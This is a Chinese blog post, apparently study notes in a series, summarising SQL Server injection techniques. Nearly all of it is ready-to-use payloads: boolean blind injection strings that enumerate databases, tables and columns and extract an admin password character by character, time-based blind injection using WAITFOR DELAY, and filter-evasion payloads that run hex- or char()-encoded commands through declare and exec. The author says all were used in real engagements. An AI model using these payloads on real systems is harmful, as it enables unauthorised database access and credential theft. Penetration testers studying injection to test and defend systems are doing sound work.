【学习笔记】Sqlserver/Mssql注入总结(三)

本文涉及的产品
RDS SQL Server Serverless,2-4RCU 50GB 3个月
推荐场景:
云数据库 RDS SQL Server,基础系列 2核4GB
简介: 这是Sqlserver/Mssql注入总结的第三篇,将围绕布尔盲注入和一些特殊字符过滤的绕过进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。

这是Sqlserver/Mssql注入总结的第三篇,将围绕布尔盲注入和一些特殊字符过滤的绕过进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。




布尔盲注(参考union联合查询注入,逐步盲注即可)


都可以和union一样加入and条件排除查询下一个内容


查询数据库名:



id=2' and ascii(substring((select DB_NAME(5)),1,1)) > 109--//查询第五个数据库第一个字符的ascii码是否大于109



查询表名:



id=2 and ascii(substring((select top 1 name from mozhe_db_v2..sysobjects where xtype='u'),1,1)) >100//查询第一个表名的第一个字符的ascii码是否大于100


或者使用information_schema:


id=2 and ascii(substring((SELECT TOP 1 table_name FROM information_schema.tables),1,1)) >0



查询列名:



id=2 and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where name ='manage')),1,1)) >100//查询第manage表的第一个列名第一个字符的ascii码是否大于100


或者使用下面这个:


id=2 and ascii(substring((SELECT TOP 1 col_name(object_id('manage'),1) from sysobjects),1,1)) >100


或者使用information_schema:


id=2 and ascii(substring((SELECT top 1 column_name from information_schema.columns where table_name='manage'),1,1)) >0


查数据:


id=2 and ascii(substring((select top 1 username from manage),1,1)) >0


指定条件查数据:


id=2 and ascii(substring((select top 1 password from manage where username='admin_mz'),1,1)) >0




时间盲注(参考布尔盲注)


只需要参照布尔盲注的payload,给其套上一个if()函数,并且后面加上WAITFOR DELAY '0:0:5'--  延迟5秒执行语句即可



例如判断数据库名:



id=2; if(ascii(substring((select db_name()),1,1)) >1) WAITFOR DELAY '0:0:5'--  //如果判断正确,延迟五秒执行sql语句




简单绕过一些单引号、路径符号等等被过滤:


利用declare定义变量:


id = 1 ; declare @a nvarchar ( 2000 ) set @a = 'select convert(int,@@version)' exec ( @a ) --


配合hex编码:


id = 1 ; declare @s varchar ( 2000 ) set @s = 0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 exec ( @s )--    //0x命令hex编码后的


配合ascii编码:


id = 1 ; declare @s varchar ( 2000 ) set @s = char ( 115 ) + char ( 101 ) + char ( 108 ) + char ( 101 ) + char ( 99 ) + char ( 116 ) + char ( 32 ) + char ( 99 ) + char ( 111 ) + char ( 110 ) + char ( 118 ) + char ( 101 ) + char ( 114 ) + char ( 116 ) + char ( 40 ) + char ( 105 ) + char ( 110 ) + char ( 116 ) + char ( 44 ) + char ( 64 ) + char ( 64 ) + char ( 118 ) + char ( 101 ) + char ( 114 ) + char ( 115 ) + char ( 105 ) + char ( 111 ) + char ( 110 ) + char ( 41 ) exec ( @s )--    //ascii编码的字符,利用+号拼接

以上方法都经过本人实战使用过的,具体情况看师傅们怎么使用吧!


相关实践学习
使用SQL语句管理索引
本次实验主要介绍如何在RDS-SQLServer数据库中,使用SQL语句管理索引。
SQL Server on Linux入门教程
SQL Server数据库一直只提供Windows下的版本。2016年微软宣布推出可运行在Linux系统下的SQL Server数据库,该版本目前还是早期预览版本。本课程主要介绍SQLServer On Linux的基本知识。 相关的阿里云产品:云数据库RDS SQL Server版 RDS SQL Server不仅拥有高可用架构和任意时间点的数据恢复功能,强力支撑各种企业应用,同时也包含了微软的License费用,减少额外支出。 了解产品详情: https://www.aliyun.com/product/rds/sqlserver
目录
相关文章
|
SQL 存储 关系型数据库
MSSQL之一 数据库系统简介 与SQL Server 2008概述
MSSQL之一 数据库系统简介 与SQL Server 2008概述
104 0
|
SQL
MSSQL系列之十二Sql Server 2005安装
MSSQL系列之十二Sql Server 2005安装
66 0
|
SQL 存储 数据可视化
MSSQL之二 Sql Server中管理库与表
MSSQL之二 Sql Server中管理库与表
71 0
|
SQL 安全 Java
6. 成功解决:Driver class 'com.microsoft.sqlserver.jdbc.SQLServerDriver' could not be found, make sure the 'MS SQL Server (Native)' driver (jar file) is installed.
在使用 Kettle(Spoon) 工具创建 SQL Server 数据库连接时,提示:Driver class 'com.microsoft.sqlserver.jdbc.SQLServerDriver' could not be found, make sure the 'MS SQL Server (Native)' driver (jar file) is installed. com.microsoft.sqlserver.jdbc.SQLServerDriver
1420 1
|
数据库
【学习笔记】Sqlserver/Mssql注入总结(二)
这是Sqlserver/Mssql注入总结的第二篇,将围绕报错注入进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。
203 0
|
数据库
【学习笔记】Sqlserver/Mssql注入总结(一)
这是Sqlserver/Mssql注入总结的第一篇,将围绕union联合注入进行讲述,内容相对来说,比较中规中矩,有需要的可以考虑收藏保存,当做备忘录使用。
317 0
|
SQL
SQLServer 学习笔记之超详细基础SQL语句 Part 12(The End)
SQLServer 学习笔记之超详细基础SQL语句 Part 12(The End)
58 0
|
SQL Go
SQLServer 学习笔记之超详细基础SQL语句 Part 11
SQLServer 学习笔记之超详细基础SQL语句 Part 11
109 0
|
8天前
|
SQL 数据库
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
SQL Server附加数据库出现错误823,附加数据库失败。数据库没有备份,无法通过备份恢复数据库。 SQL Server数据库出现823错误的可能原因有:数据库物理页面损坏、数据库物理页面校验值损坏导致无法识别该页面、断电或者文件系统问题导致页面丢失。
52 12
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
|
3天前
|
SQL 关系型数据库 MySQL
创建包含MySQL和SQLServer数据库所有字段类型的表的方法
创建一个既包含MySQL又包含SQL Server所有字段类型的表是一个复杂的任务,需要仔细地比较和转换数据类型。通过上述方法,可以在两个数据库系统之间建立起相互兼容的数据结构,为数据迁移和同步提供便利。这一过程不仅要考虑数据类型的直接对应,还要注意特定数据类型在不同系统中的表现差异,确保数据的一致性和完整性。
17 4